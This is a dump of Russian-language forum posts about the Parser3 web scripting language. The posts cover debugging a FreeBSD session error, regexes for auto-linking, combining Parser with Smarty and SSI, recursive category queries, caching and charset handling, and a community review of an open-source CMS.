- версию парсера\
- нет ли у вас оператора @now[]\
- stacktrace ошибки"
"58038","найдено.\
\
Какие бы автоматы не были удобные, они не сделают то, что сделают руки. Решил на каждой странице формировать отдельные заголовки - в моем случае это очень легко, т.к. достаточно выложить сам заголовок новости (сайт у меня новостной). В агентстве практикуется написание исчерпывающих заголовков."
"58039","вот возник такой вопрос - как, например, поступают в такой ситуации:\
[code]$text[^text.match[(?<![=\"])((?:http://|ftp://|mailto:)(?:[:\\w~%{}./?=&@,#-]+))(?<![.:])(?!\"<)][gi]{<a href=\"$match.1\">$match.1</a>}]\
...\
$text[^text.match[\\[(url)=(\"?)(.{9,}?)\\2\\](.+?)\\[/\\1\\]][gi]{<a href=\"${match.3}\">${match.4}</a>}][/code]\
\
В этом случае происходит следующее:\
\
[url=\"http://my.hypelink/there/\"]link text[/url]\
\
превращается в\
\
[url=\"[url=\"http://my.hypelink/there/\"]http://my.hypelink/there/[/url]\"]link text[/url]\
\
что-то какие-то монстры regexp получаются, но не работает как нужно :("
"58040","версия auth.p - $Id: auth.p,v 1.79 2006/02/20 12:09:55 misha Exp $\
версия парсера - parser3_2_1_freebsd61R_cgi_xml.tar.gz\
нет ли у вас оператора @now[] - ничего не добавлял в auth.p\
ошибка - \
/www/modules/auth.p(973:23) \
--------------------------------------------------------------------------------\
body /www/modules/sql.p(138:13) \
body /www/modules/sql.p(102:9) \
is_sql /www/modules/sql.p(102:2) \
sql /www/modules/sql.p(138:2) \
void /www/modules/auth.p(966:15) \
if /www/modules/auth.p(946:2) \
updateSession /www/modules/auth.p(310:23) \
add /www/modules/auth.p(310:18) \
if /www/modules/auth.p(309:2) \
initSession /www/modules/auth.p(119:2) \
init /www/admin/auto.p(206:22) \
body /www/modules/sql.p(72:28) \
connect /www/modules/sql.p(72:2) \
server /www/admin/auto.p(205:12) \
LogoffBut /www/admin/auto.p(57:18) \
shapka /www/admin/index.html(2:2)"
"58042","покажите строку инициализации объекта класса auth\
очень интересует как у вас подключен класс для работы с БД"
"58043","просто поставил посвежее версию auth.p, и все равно эта ошибка\
\
[code]^MAIN:pSQL.server{\
	$auth[^auth::init[$cookie:CLASS;$form:fields;$.csql[$MAIN:pSQL]]]\
	^auth.setExpireHeaders[]\
	^if($auth.is_logon){\
		^auth.htmlFormLogout[$.target_url[/$main_path/]]\
	}\
}[/code]"
"58045","[code]$MAIN:pSQL[^mysql::init[mysql://user:pass@user.mysql.masterhost.ru/db;$.is_debug(1)]][/code]\
\
Уже достаточно давно работаю с этим классом, но вот ошибка вылезла именно, когда стал использовать версию парсера для freebsd 6.1\
\
На локальном компьютере на винд версии все хорошо работает"
"58046","предположу, что у вас стоит дополнение к IIS под названием Microsoft URLScan, которое запрещает вебсерверу запуск vbs, exe, bat энд ко.\
\
Можно почитать логи вебсервера - там обычно много полезных сведений о причине ошибок..."
"58047","даны \"execute permissions\" на запуск ваших bat и vbs-файлов?\
\
\
P.S. Дополнительное чтение - http://swissknife.bougakov.com/misc/iis/#step3"
"58048","В чем может быть причина, если у меня все работает на версиях для windows и FreeBSD 4.x, но конфликтует с FreeBSD 6.1\
Как быть? Заранее спасибо!"
"58049","Завтра продолжим!!!"
"58050","возможны вы найдете и сообщите нам что не так с датами на этой ОС. сами мы её не используем."
"58051","если у вас действительно ОДИН И ТОТ же код\
\
да еще в этом месте (если смотреть по строке 973):\
[code]\
^csql.now[]\
[/code]\
\
тут и data вообще даже близко не пахнет, у меня было предположение что объект БД вы создавали из класса sql.p вместо mysql.p\
или что mysql.p изменен, но так как вы говорите что у вас идентичный код работает на других системах, то идей не осталось.\
А data в неизмененных mysql.p, sql.p, auth.p в этом месте быть не может.\
\
Да и стек ошибок приведенный вами для меня выглядит ужасно странно если взглянуть на перечисленные выше файлы.\
[code]\
body /www/modules/sql.p(138:13)\
body /www/modules/sql.p(102:9)\
is_sql /www/modules/sql.p(102:2)\
sql /www/modules/sql.p(138:2)\
void /www/modules/auth.p(966:15)\
if /www/modules/auth.p(946:2)\
updateSession /www/modules/auth.p(310:23)\
add /www/modules/auth.p(310:18)\
if /www/modules/auth.p(309:2)\
initSession /www/modules/auth.p(119:2)\
init /www/admin/auto.p(206:22)\
body /www/modules/sql.p(72:28)\
connect /www/modules/sql.p(72:2)\
server /www/admin/auto.p(205:12)\
LogoffBut /www/admin/auto.p(57:18)\
shapka /www/admin/index.html(2:2)\
[/code]"
"58052","я продолжал думать чпро проблема со строкой $.dt_access[^now.sql-string[]]\
\
у афтора похоже таки не одинаковая версия парсера (о чем он умолчал) и поэтому ему нужно обновить sql классы."
"58053","Действительно... я упустил этот момент. Большое спасибо. Вы как всегда правы:)"
"58054","просьба прислать небольшой bug.html, посмотрим.\
мы делали [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/*checkout*/parser3/src/main/utf8-to-lower.inc?rev=HEAD&content-type=text/plain\"]табличку[/url] на основе общедоступной таблички lowercase для [b]всех[/b] алфавитов в unicode.\
\
т.е. задумано, чтобы с турецким ^string.lower[] обязательно работал."
"58055","[code]^string.length[] == 0[/code]\
\
в доку, вероятно, добавим что-то в этом духе."
"58056","Здравствуйте!\
\
Мы купили движек интернет-магазина и все это дело работает на основе [url=\"http://smarty.php.net/manual/ru/what.is.smarty.php\"]Smarty[/url] (обработчик шаблонов для PHP). Так вот я хочу включать в код страниц конструкции Parser.\
Код, который не должен обрабатываться компилятором smarty нужно размещать в тэг {literal}: \
{literal}\
...\
произвольный код\
...\
{/literal}\
Что я и сделал. Да вот только на странице вместо исполнения кода Parser происходит просто его отображение. Как я понимаю, этот Smarty не дает Парсеру обрабатывать код.\
\
Кто-нибудь может мне подсказать как решить эту проблему и заставить код на Прасере исполняться?\
Заранее благодарю."
"58057","Что такое не пустая я понимаю, не совсем ясно что тут строка. Строка это то что будет записанно в документ при выполении тела цикла? Судя по всему нет, как как в теле цикла я добавляю данные в строковую переменную, не выводя ничего в документ. \
А если в теле цикла идет только вызов процедуры какой-нибудь, например\
\
^while($t>0){\
  ^AddDataToRss[t;...]\
  ^t.dec()\
}{..}\
(про фор я знаю, и что пример притянутый за уши тоже)\
Вот тут что будет содержать та string, которая потом будет проверятся ^string.length[] == 0. Вот этот момент не понятен."
"58058","1. перевод строки после '{'\
2. пробельные символы которые написаны до '^'\
3. строку, которую вернет метод AddDataToRss (он ведь может добавить что-то к таблице _и_ вернуть строку, в частности с пробельными символами\
4. пробельные символы которые написаны после [t;...], затем перевод строки и пробельные символы, написанные до ^t.dec()\
5. пробельные симолы которые написаны после ^t.dec() и перевод строки, который написанн вами\
\
неужели это было неожиданно и нелогично?\
\
P.S. например в C++ у for можно менять не значение итератора, а граничные условия. и в некоторых случаях это красиво и имеет право на существование (читаемость пока оставим в стороне). но чтобы делать это нужно _точно_ понимать что вы делаете. в затронутом случае с парсерными циклами вы пытаетесь использовать их нестандартно не зная как в точности они работают, причем _без_ наличия явных необходимостей делать это.\
если кратко: строка будет содержать всё, что написано вами в теле цикла и что возвращают вызываемые в теле цикла методы.\
\
P.P.S. под нестандартным применением парсерного цикла и его разделителя я имею в виду то, что т.к. у парсера всё написанное - один глобальный print, то парсерные циклы предназначены не для странных манипуляций каких-то отдельных строк, а для потокового вывода данных с разделителями. использовать их нестандартно вы можете, но работоспособность написанного таким образом кода в последующих версиях вам никто гарантировать не будет, ведь например может найтись лучший момент для вычисления разделителя, не совпадающий с текущей реализацией."
"58059","Обычно проще выкинуть эти выражения, и написать обработчик по-иному: разбить весь входной код на \"теги\" и \"не-теги\", и потом пройтись по \"не-тегам\" и расставить в них html-ссылки."
"58060","Спасибо, теперь ясен алгоритм работы. Значит в таком случае \
^while($t>0){^AddDataToRss[t;...]^t.dec()}{..} при условии что AddDataToRss не возвращяет ничего даже пробелы, {..} не выполнится никогда.\
\
Не совсем правда понимаю чем было вызванно подобное условие, чем оно лучше \"...выполняется перед каждым не первым телом цикла..\". Что мне кажется было чаще применительно Именно так кстати я и понял при беглом просмотре хелпа:) Но видимо я еще не сталкивался с такими случаями где именно такое запрограммированное поведение необходимо. У меня не очень большой опыт программирования на парсере.\
\
А \"странные манипуляций каких-то отдельных строк\" иногда очень даже кстати, а иногда вообще без них сложно обойтись:)"
"58062","Пожалуйста, поясните, что именно вы имели ввиду."
"58063","В свое время, не знал как сделать так, чтобы тег <form></form> не отступал от текста и сделал его внутри таблицы\
[code]<table>\
<form>\
.......\
</form>\
</table>[/code]\
Вот из-за этого в FF and Opera формы не работали.\
Надо, как положено.\
[code]<form>\
<table>\
 .......\
</table>\
</form>[/code]"
"58064","т.е. перед кодом Парсера написать, что-то вроде <!--#include virtual=\"/cgi/../parser3.cgi\" --> ?\
Или вы имели ввиду что-то другое?\
Дело в том что я не пока не могу понять саму суть проблемы, описанной в моей первом посте."
"58065","попробуйте залоуерить следующие символы:\
[code]&#304;&#350;&#286;&#220;&#214;&#199;I[/code]\
это основные символы турецкого языка, с которыми у меня всегда проблемы."
"58066","его методами уничтожаются любые отступы\
[code]form {\
	padding: 0;\
	margin: 0;\
}[/code]"
"58067","SSI - Server Side Includes, подразумевает сборку страницы из нескольких отдельных страниц, каждая из которых обрабатывается в отдельности, как будто бы ее вызывали отдельно. Результат выполнения всех страниц собирается в одну страницу и отдается пользователю.\
\
В вашем случае можно написать отдельную страницу на Парсере, и вызывать ее отдельно вставкой <!--#include virtual=\"/my_parser_page.html\" -->. В месте вызова вставится результат выполнения страницы на Парсере.\
\
Это можно прочесть в любой доке по SSI."
"58068","Благодарю что укрепили меня в понимании SSI, вы правы - именно об этом я читал, но мне этот вариант не подходит.\
\
Дело в том что не проблема вызвать другой файл содержащий код на Прасере, не проблема включить этот код и в текущую страницу, указав обработчику Smarty что этот код ему не нужно обрабатывать. Дело в том что, когда я запрещаю Smarty обрабатывать код Парсера он просто выводит его текстом на страницу и Прасер почему-то этот код не обрабатывает. А когда я включаю код на Парсере в страницу обрабатываемую Smarty, эта дрянь выдает ошибке о неверном синтаксисе.\
\
Вот я и не могу понять в чем проблема и как ее решить."
"58069","как, по вашему, происходит обработка страницы?\
\
У файлов есть хендлеры, в зависимости от которых им назначаются обработчики. Сервер, определив обработчик, передает ему файл, и результат отдает пользователю. Повесить на один файл два обработчика, или передать результат из одного обрабочика в другой, а потом полученое отдать пользователю - сомневаюсь, что сервер так умеет.\
\
Не понимаю, почему вам не подходит предложенный выше вариант?"
"58070","При его использовании происходит таже ситуация что и при первостепенной проблеме - код не исполняется, а просто выводится \"как-есть\" (т.е. в финишном html-файле так и отображается: \"<!--#include virtual=\"/parser/tmp.html\" -->\")."
"58074","Таже история получается - на странице выводится текст:\
[code] include(\"/parser/tmp.html\");[/code]\
без обрабтки."
"58075","пример из доки\
[code]Пример 16-7. include() through HTTP\
\
<?php\
\
/* This example assumes that www.example.com is configured to parse .php\
 * files and not .txt files. Also, 'Works' here means that the variables\
 * $foo and $bar are available within the included file. */\
\
// Won't work; file.txt wasn't handled by www.example.com as PHP\
include 'http://www.example.com/file.txt?foo=1&bar=2';\
\
// Won't work; looks for a file named 'file.php?foo=1&bar=2' on the\
// local filesystem.\
include 'file.php?foo=1&bar=2';\
\
// Works.\
include 'http://www.example.com/file.php?foo=1&bar=2';\
\
$foo = 1;\
$bar = 2;\
include 'file.txt';  // Works.\
include 'file.php';  // Works.\
\
?>  [/code]\
\
я имею ввиду вставить внешне, с указанием веб-адреса, а не просто локально."
"58076","Фронтэнд передает php-бэкэнду запрос - он возвращает сгенерированный вариант с <!-- include ...\
Далее фрондэнд проанализировав ответ делает включение кусков ssi, отдавая их на генерацию parser-бэкэнду"
"58078","В описании имприматура есть строки которые говорят о возможности бэкапа сайта и его разделов. В данный момент занялся реализацией этого.\
\
Есть вопросы:\
 - Мы регистрируем все изменения пользователей над объектами и разделами сайта в отдельные таблицы, если юзер несколько раз правит в течении сессии текст, то может следует регистрировать только последний вариант введенный юзером, а не после каждого сабмита?\
 - Структура проекта находится в одной таблице где дерево отслеживается по id и parent_id, если юзер поменял структуру сайта как лучше организовать хранилище структуры, сохранять новое дерево в отдельную таблицу?"
"58079","Как я понимаю, что это происходит, потому что обработчиком html страниц стоит Smarty.\
Пишем в .htaccess\
[code]\
# Подключение Parser-а для всех .p3-страниц \
AddHandler parser3-application p3 \
Action parser3-application путь/к/парсеру/на/сервере\
[/code]\
Переносите код парсера в файл.p3 и вызываете его."
"58080","но это имхо, а по вашему вопросу:\
\
а) а на основе каких логических рассуждений система узнает что именно этот вариант последний и его надо сохранить? :)\
б) при каждом изменении скажем названия раздела - дублировать в базе всю таблицу раздела? бррр, я бы вел лог запросов, и при необходимости откатывал до нужного состояния обрабатывая сохраненными запросами затрагивающими нужный объект последний ежедневный дамп базы.\
\
но я повторюсь такого бы не делал, для структуры лог изменений и автоматические дампы БД мне за глаза. А Undo на структуру вешать, ну не вижу смысла."
"58081","т.к. [url=\"http://www.parser.ru/forum/?id=58072\"]тут[/url] он говорит, что при вызове и браузера все работает."
"58082","Здравствуйте. Хотелось бы услышать комментарий.\
Я читал \"Построение деревьев\". Кое-что непонятно, кое-что в моем случае мне не требуется.\
\
Итак, есть табличка\
Category\
с полями:\
ID - идентификатор категории\
ParentID - идентификатор родительской категории\
Title - Название категории\
\
Что нужно: нужно получить просто табличку парсера, в которой бы перечислялись ID категорий, являющихся для выбранной дочерними до самого конца, пока не закончатся. Ну и ее саму туда же.\
\
Делаем так:\
[code]\
$list[^CreateCategoryTree[3]]\
\
\
# Создает таблицу всех категорий, которые являются дочерними выбранной (ID) на неопределенную глубину\
# Не спрашивайте, почему Tree - переделывалось уже несколько раз, раньше назначение другое было\
@CreateCategoryTree[ID]\
$result[^table::create{ID}]\
^result.append{$ID}\
^result.join[^Catalog:GetChildByParent[$ID]] # Вызывает метод, который добавляет в таблицу те категории, которые принадлежат выбранной (ID)\
\
\
# Назначение описано строкой выше. Выбирает детские (дочерние) категории, прокручивает их, вызывает сам себя и добавляет результаты в табличку.\
@GetChildByParent[ID]\
$result[^Catalog:Categories[$ID]] # См. ниже\
^result.menu{\
	^result.join[^Catalog:GetChildByParent[$result.ID]]\
}\
\
# Выбирает категории, у которых ParentID = $ID (которые являются дочерними к выбранной. На один уровень)\
@Categories[ID]\
$result[^MySQL:Query[select ID from Category where ParentID = $ID]]\
\
[/code]\
\
Сделал, вроде работает, но до конца осмыслить - почему работает, пока не получается. \
\
Меня интересует нагрузка на сервер. Если категори 10-30 - то еще нормально. А если их 1500 и нужно получить список от категории второго уровня вложенности (или первого) - сервер будет жить? Или скрипт будет зарублен сервером за превышение лимита загрузки процессора или лимита времени исполнения?\
\
А вообще цель всего этого - получить список товаров, которые находятся во всех вложенных категорих.\
Т.е. сделать запрос\
[code]\
select from Catalog where Category in ( ^list.menu{$list.ID}[,] )\
[/code]\
Спасибо за возможные ответы."
"58083","рекурсивное вложение запросов к MySQL...\
\
вы можете добавить к таблице 2 поля? :\
thread_id (идентификатор ветви, для верхней ветки(категории) = ее ID для дочерних = thread_id родителя)\
и\
nesting (идентификатор вложенности для верхней 0 для дочерних nesting родителя +1)\
заполнять их автоматически при добавлении категории\
добавить индекс по ним\
и доставать нужную табличку 1 запросом чтото вроде\
[code]\
SELECT id FROM category WHERE thread_id = $main.thread_id AND nesting >= $main.nesting \
[/code]"
"58084","Вот такая функция:\
\
[code]\
@adv_simple_image[var]\
^try{\
$image[^image::measure[${var}]]\
^image.html[\
   $.alt[Это я в молодости…] \
   $.border[0]\
   $.align[absmiddle]\
]\
}{$exception.handled(true) Файл не обнаружен}\
[/code]\
\
Выдаёт \
\
[code]\
<img src=\"/img/fl.gif\" align=\"absmiddle\" border=\"0\" height=\"16\" width=\"16\">\
[/code]\
\
Куда девается alt ?"
"58085","Parser/3.2.1 (compiled on i386-pc-win32)\
[code]\
<img alt=\"Это я в молодости:\" align=\"absmiddle\" border=\"0\" height=\"1024\" src=\"molotok-cyberplat.GIF\" width=\"1280\" />\
[/code]\
\
попробуйте этот код в отдельно взятом файле. возможно, другой код повлиял.."
"58086","Я не понял, как nesting поможет мне выбрать все дочерние категории. Вот у меня есть такие категории (пробелами отмечена вложенность категорий). В скобках - дополнительные параметры.\
[code]\
Древесина (ID = 1, ParentID = 0)\
	Брус (ID = 3, ParentID = 1)\
		Ель (ID = 6, ParentID = 3)\
		Сосна (ID = 7, ParentID = 3)\
		Кедр (ID = 8, ParentID = 3)\
	Доска (ID = 4, ParentID = 1)\
		Ель (ID = 9, ParentID = 4)\
		Сосна (ID = 10, ParentID = 4)\
		Кедр (ID = 11, ParentID = 4)\
	Опилки (ID = 5, ParentID = 1)\
		Мелкие (ID = 12, ParentID = 5)\
		Крупные (ID = 13, ParentID = 5)\
Металл (ID = 2, ParentID = 0)\
	Черный металл (ID = 14, ParentID = 2)\
		Чугун серый (ID = 16, ParentID = 14)\
		Сталь конструкционная (ID = 17, ParentID = 14)\
		Батарея (ID = 18, ParentID = 14)\
	Цветной металл (ID = 15, ParentID = 2)\
		Медь (ID = 19, ParentID = 15)\
		Аллюминий (ID = 20, ParentID = 15)\
		Латунь (ID = 21, ParentID = 15)\
[/code]\
\
Цель в том, что мне нужно выбрать не только подкатегории, которые принадлежат корневой категории. Я могу выбрать все, что принадлежит \"Древесине\", т.е категории:\
[code]\
Брус (ID = 3, ParentID = 1)\
Ель (ID = 6, ParentID = 3)\
Сосна (ID = 7, ParentID = 3)\
Кедр (ID = 8, ParentID = 3)\
Доска (ID = 4, ParentID = 1)\
Ель (ID = 9, ParentID = 4)\
Сосна (ID = 10, ParentID = 4)\
Кедр (ID = 11, ParentID = 4)\
Опилки (ID = 5, ParentID = 1)\
Мелкие (ID = 12, ParentID = 5)\
Крупные (ID = 13, ParentID = 5)\
[/code]\
\
НО мне нужно уметь еще выбрать то, что содержится в любой из категорий, т.е. если я хочу выбрать все, что находится в \"Брусе\", то получить я должен только:\
[code]\
Ель (ID = 6, ParentID = 3)\
Сосна (ID = 7, ParentID = 3)\
Кедр (ID = 8, ParentID = 3)\
[/code]\
\
На вашем варианте я не совсем понял, как это действует. Как мне показалось, ваш вариант может выбрать только в случае указания корневой директории. Или я не понял."
"58087","все равно лучше доставать одним запросом,\
например:\
[code]\
# получили таблицу\
$tTest[^table::create{id	parent_id	name\
1	0	Древесина\
3	1	Брус\
6	3	Ель\
7	3	Сосна\
8	3	Кедр\
4	1	Доска\
9	4	Ель\
10	4	Сосна\
11	4	Кедр\
2	0	Металл\
14	2	Черный\
}]\
\
# создали хэш таблиц\
$hTree[^tTest.hash[parent_id][$.distinct[tables]]]\
\
# получили результат\
$tTestById[^getChild[3;$hTree]]\
\
# и сам метод\
@getChild[id;hTree][tBranch;result]\
$result[^table::create{id^#OA$id}]\
^try{\
  $tBranch[$hTree.$id]\
  ^tBranch.menu{^if($hTree.[$tBranch.id]){^result.join[^getChild[$tBranch.id;$hTree]]}{^result.append{$tBranch.id}}}\
}{$exception.handleld(1)}\
[/code]"
"58088","Правильно понял?"
"58089","только что померял,\
по 100 вызовов с приведенной вами таблицей:\
\
мой метод:\
$.utime(0.21875)\
$.memory_kb(1724)\
$.memory_block(5424)\
$.time(578.136) \
\
ваш метод:\
$.utime(3.84375)\
$.memory_kb(81848)\
$.memory_block(85108)\
$.time(6437.62) \
\
чувствуете разницу? :)\
при чем при увеличении кол-ва категорий она только усугубляется.\
\
PS: естествено в 1м случае таблицу также доставал из БД"
"58090","Спасибо, буду применять."
"58091","http://www.parser.ru/forum/?id=47424"
"58092","[quot]Дело в том, что содержимое шаблона не обрабатывается вебсервером, а загружается с \
помощью php. Поэтому подключение внешнего обработчика для шаблона невозможно.[/quot]\
Я так понимаю, что мне не удасться использовать Parser вместе со Smarty?"
"58094","зачем кстати в uri.p выделять эти 2 метода (а можно привести и к одному) в отдельный класс? \
\
чтобы хэш таблиц непонятной в дальнейшем необходимости в памяти оставлять?"
"58095","Для типографа потребовалось составить регулярное выражение. Чтобы присутствующие в тексте цифры заменялись на теже цифры с тегом. то есть вида 11 заменить на <i>11</i> помогите пожалуйста. на ум пришло только $text[^text.match[\\d+][gi]{<i>$match.1</i>}] но конечно оно не верно :("
"58097","$text[^text.match[(\\d+)][gi]{<i>$match.1</i>}]"
"58098","вот тут интересная реализация:\
http://www.robosoft.info/knowledge/articles/detail.php?ID=893"
"58104","Соответственно, [code]^if(-f '/home/ftp/файл.txt'){есть}{нет}[/code] возвращает \"нет\".\
\
А задача такая: в БД в кодировке cp1251 лежит список файлов.\
Мне нужно выдать один из них пользователю ($response:download[$file]).\
\
Как лучше поступить? Перекодировать имя файла перед ^if(-f ...)?"
"58105","[code]\
$request:charset[koi8-r]\
#parser перекодирует данные к кодировке $request:charset\
$filename[-делаем запрос в базу за именем файла-]\
$response:download[$filename]\
[/code]"
"58106","Там всё хитрее происходит:\
\
Первый скрипт:\
- делает запрос в БД\
- формирует ссылку вида download.html?file=ИМЯ_ФАЙЛА_BASE64_ENCODED\
\
Второй скрипт:\
- получает имя файла из GET\
- делает base64 decode\
- пытается его найти (-f)\
\
На самом деле всё еще сложнее - в GET передается ключ для контроля прав пользователя на загрузку файла и другая инфа, но это точно никак не влияет...\
\
В общем, пробовал я подставлять $request:charset[koi8-r] до запроса в БД (до формирования ссылки) и после раскодирования ссылки (до попытки найти файл на диске) -- не помогает.\
\
А как $request:charset[koi8-r] должно работать? Какие именно данные должны быть перекодированы и в какой момент?"
"58108","но можно попробовать проанализировать [url=\"/cgi-bin/parser.parser3.cgi\"]строку[/url] с версией парсера или вызвать внешний скрипт, который сообщит вам нужную информацию."
"58109","кстати не помешало бы имх добавить в Parser такое поле"
"58112","как обычно: http://klen.zoxt.net"
"58116","Много задач требуют запуска сторонних скриптов и файлов\
Естественно для различных OS нужны разные версии этих утилит\
\
Нетрудно сделать легко изменяемые настройки системы,\
Нетрудно распарсить строку версии,\
\
Но имх такое поле относится к разряду приятных мелочей которые пойдут в плюс Parser\
\
так что +1"
"58117","в интерпретируемом языке коду, который должен работать на win32, нечего делать на хостинг площадке под linux/bsd.\
\
есть конфигурационный auto.p, в задачу которого и входит затронутая вещь: на хостинг площадке держите один файл, на сервере разработки - другой. в нем определяйте нужные вам переменые соотв. образом и подключайте (если надо) нужные вам на данной платформе классы.\
\
P.S. пожелание даже добалять не буду, т.к. считаю его совершенно ненужным, и к тому-же ищеющим решение в текущей реализации (для извращенцев)."
"58118","Но я не считаю ересью возможность кода самостоятельно разворачиваться на различных системах. Мб опыта еще не хватает.\
\
Ваш sql класс, также адаптация единого кода для различных БД.\
\
Но конечно это не повод для дисскусии, спасибо за пояснения."
"58119","В \"Полезных ссылках\" есть указания на egr'овские переводы документации (Модуль Apache mod_rewrite (перевод от egr), Руководство по URL преобразованиям (перевод от egr)). Но, увы, сайт http://egoroff.spb.ru/ не работает. Хотя я сейчас и не работаю с parser'ом, но все же жалко, хороший сайт был...\
Может быть поправить ссылки и переадресовать их на работающий сайт с этими материалами (если такой есть, конечно)?"
"58120","Что-то меня заклинило...\
Если я сделаю так:\
[code]@method[][]\
^if(...){\
  ^cache[file](5){\
    $result[кешируемый результат]\
  }\
}{\
  $result[не кешируемый результат]\
}[/code]\
Будет у меня результат кешироваться?\
\
Или надо делать так:\
[code]@method[][]\
^if(...){\
  $result[^cache[file](5){кешируемый результат}]\
}{\
  $result[не кешируемый результат]\
}[/code]\
\
И вообще, если я внутри ^cache[] объявлю локальную переменную (не обязательно $result), будет это иметь смысл?"
"58121","в вашем случае результат будет одинаковым в обеих случаях.\
\
Почитайте доку. [b]Все[/b], что кешировано, и если кеш валиден - не выполняется, а считывается из кеша."
"58122","т.е. при считывании из кеша никакие переменные, определяемые вами в теле cache при обработке его содержимого не будут определены. \
\
вы можете использовать это например для того чтобы позже понять откуда был получен результат - из кеша или нет.\
\
первый приведенные вами вариант работать будет, но лишь по той причине что при отсутствии $result[] считается что все тело метода - однин большой result. если бы вы пытались провернуть подобное с другой переменной - ничего не вышло бы. поэтому я считаю что использовать первый вариант не стоит."
"58123","Ищу работу.\
Могу взяться за проект на parser.\
На парсере мною сделано:\
http://www.infitis.dp.ua\
http://www.noch.dp.ua\
\
Рассмотрю варианты любые."
"58125","- окончательно определился с именами классов: Lib, FileSystem, Doc & Node (+ LibComp.p & LibCompFull.p). Lib (в файле Lib.p) -  привычно. недостаток, связаный с отличием новой версии имени _файла_ от старой лишь первой заглавной буквой, считаю небольшим, т.к. единовременно может использоваться лишь один вариант.\
\
- добавил @FileSystem:dirDelete[] (убедили)\
\
- пример обновлю позже"
"58126","info@delta-x.info"
"58129","Ищу программиста на Парсере в Санкт-Петербурге\
Пишите на ящик info@delta-x.info"
"58130","Никому уже не нужна открытая CMS на Parser?\
\
Забавно что народ  уже второй месяц стабильно сливает исходники и стабильно молчит, черт побери это обидно, если все так плохо хоть бы поругали чтоли...\
\
PS: новое обновление http://www.mouse.ru/?id=10"
"58133","Я еще не разбирался, но интересно. Мы тоже на основе Engine v4 пишем. Правда медленно и в свободное время, но все таки :)"
"58134","сейчас из админки поправлю :)"
"58135","В документации по классу [b]Status[/b] упоминается количество использованной памяти. Оно измеряется в блоках. А чему равен размер одного блока? Или это зависит от ОС? Хотя бы примерно... Заранее спасибо."
"58136","- http://klen.zoxt.net/doc/faq/ в 3 пункте:  <a title=\"\" href=\"www.klen.zoxt.net/files/\">, забыт префикс 'http://' в ссылке\
\
- список вопросов имеет <a href=\"#f1\" /> и т.д., но нет соответствующих <a name=\"f1\"/>. есть только <h4 id=\"f1\">, но f2 и далее - отсутствуют (т.е. якоря не работают)\
\
- http://klen.zoxt.net/, view source: '<article xmlns:mouse=\"http://klen.zoxt.net/doc/\" image=\"revision.png\" name=\"Ревизия 55\" date=\"15.1.07\" id=\"8\" author=\"klen\">', Cool :)\
\
- там-же <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\"> + <br>, <hr> и т.п. :)\
\
- в чём смысл наличия большого количества title=\"\"?\
\
- [code]<li><input type=\"radio\" name=\"answer\" value=\"1\" id=\"1\" checked> Да, проблемы есть.</li>\
<li>\
<input type=\"radio\" name=\"answer\" value=\"2\" id=\"2\" checked> - Нет, все прекрасно устанавливается.</li>\
<li>\
<input type=\"radio\" name=\"answer\" value=\"3\" id=\"3\" checked> - Я не могу установить Mouse.</li>[/code]\
во первых у только у одного radio может быть checked, во вторых не писать label в 21-то веке - стыдно :)\
\
- в форуме читать сообщения невозможно, т.к. огромная textarea заставляет сразу скролить вниз после загрузки страницы. на третьем сообщении это надоедает.\
\
- http://klen.zoxt.net/doc/xmlns/ - справа от textarea картинка с минусом похоже тут просто необходима :)\
\
- в админке при наведении на картинку с человечком: \"_G_ользователи и группы\""
"58137","если вы желаете продвигать свой проект - сделайте ему рекламу.\
\
Я не имею ввиду баннерообменники и все такое. Позаботтесь о вашей версии, которую вы даете просматривать посетителям. От первого впечатления, полученного посетителем при виде вашей демки зависит, будет ли посетитель юзать ваш софт.\
\
Если честно - интерфейс у софта ужасный. Кроме того, админка, имхо, должна работать во всех браузерах, а не только в ФФ.\
\
Плюсики в менюшке при сворачивании не стают минусиками, как многие того ожидают.\
\
Шрифты в админке должны быть стандартными. Откройте любую прогу на вашем компе и посмотрите на шрифт - Тахома или ей подобный.\
\
Ну и по мелочам еще много недоработок.\
\
Может код софта у вас и хороший, но я бы не стал так пренебрегать интерфейсом.\
\
P.S. критика, она злая )"
"58138","ну да, там еще много такого\
если успею поправлю\
спасибо\
(документация будет в wiki)\
\
насчет огромной textarea (в FireFox и Explorer она прячется), но что нибудь сделаю\
\
вообще что касается дизайна и валидности, я их отложил в долгий \
ящик, насев на функциональность. Иначе бы потерял темп.\
\
Все перечисленные проблемы (кроме G в админке ) ) правятся изменением единственного XSLT шаблона основного. У меня элементарно не доходят руки."
"58139","и вам неведомо, как замечательно смотрятся png иконки с прозрачностью в IE...\
(http://klen.zoxt.net/)"
"58140","ок прийму к сведению\
(кстати в требованиях указанно что для администрирования предпочтительнее FireFox)\
\
до отладки дизайна(кода вывода) сайта-примера и админки я не доберусь еще длительное время(тк времени у меня нет совсем), кто хочет помочь может поправить самостоятельно.\
\
не стоит забывать что в своих проектах на основе системы разработчик может использовать любые свои шаблоны, и ошибки в примере сайта mouse никак не повлияют на результат."
"58141","продвигать? :)\
я лично хотел аккумулировать ВЕСЬ наработанный сообществом код на Parser в одном проекте. \
\
И создать [i]общими[/i] усилиями инструмент для [b]разработчика[/b]\
\
Про интерфейс уже понял ), [b]времени менять интерфейс у меня нет[/b], если оно появится то потрачу его на код и структуру движка.\
\
Всем недовольным интерфейсом и ошибками в выводимом html с огромным удовольствием дам доступ на изменения в SVN и испишу mouse благодарностями :) слава богу для этого знать внутренние принципы работы mouse не обязательно достаточно знать css, html, xslt и немного javascript"
"58142","Не хотел бы видеть Mouse как [i]мой проект[/i]\
Но с удовольствием бы видел его как [b]общий проект сообщества.[/b]\
Система делается таким образом, что может достаточно легко поглощать сторонний код или дать разработчику методы для оперативного создания этого кода. \
\
Не думаю что parser сейчас нужны закрытые проекты."
"58144","очень надеюсь, что тут нет самоцели.\
иначе сразу предложу: нужно сделать ещё десяток скриптов, и, непременно, в разной кодировке.\
есть ещё utf, iso и dos, не упускайте возможности.\
\
про charset поясню: когда вы задаёте $request:charset, и у драйвера задан ?ClientCharset, то parser перекодирует из ClientCharset к $request:charset при получении результата запроса."
"58145","Если бы была возможность, я бы на сервере навел порядок, сделал бы в одной кодировке. Но такой возможности нет.\
\
Про сharset понял, спасибо."
"58146","Я не помню, я извращался как-то парсеровскими методами генерил картинки повернутого текста - без всяких ImageMagic\
\
Делал шрифт моноширинный сначала в котором все буквы были повернуты, а потом генерил картинку с написанным столбиком буквами\
\
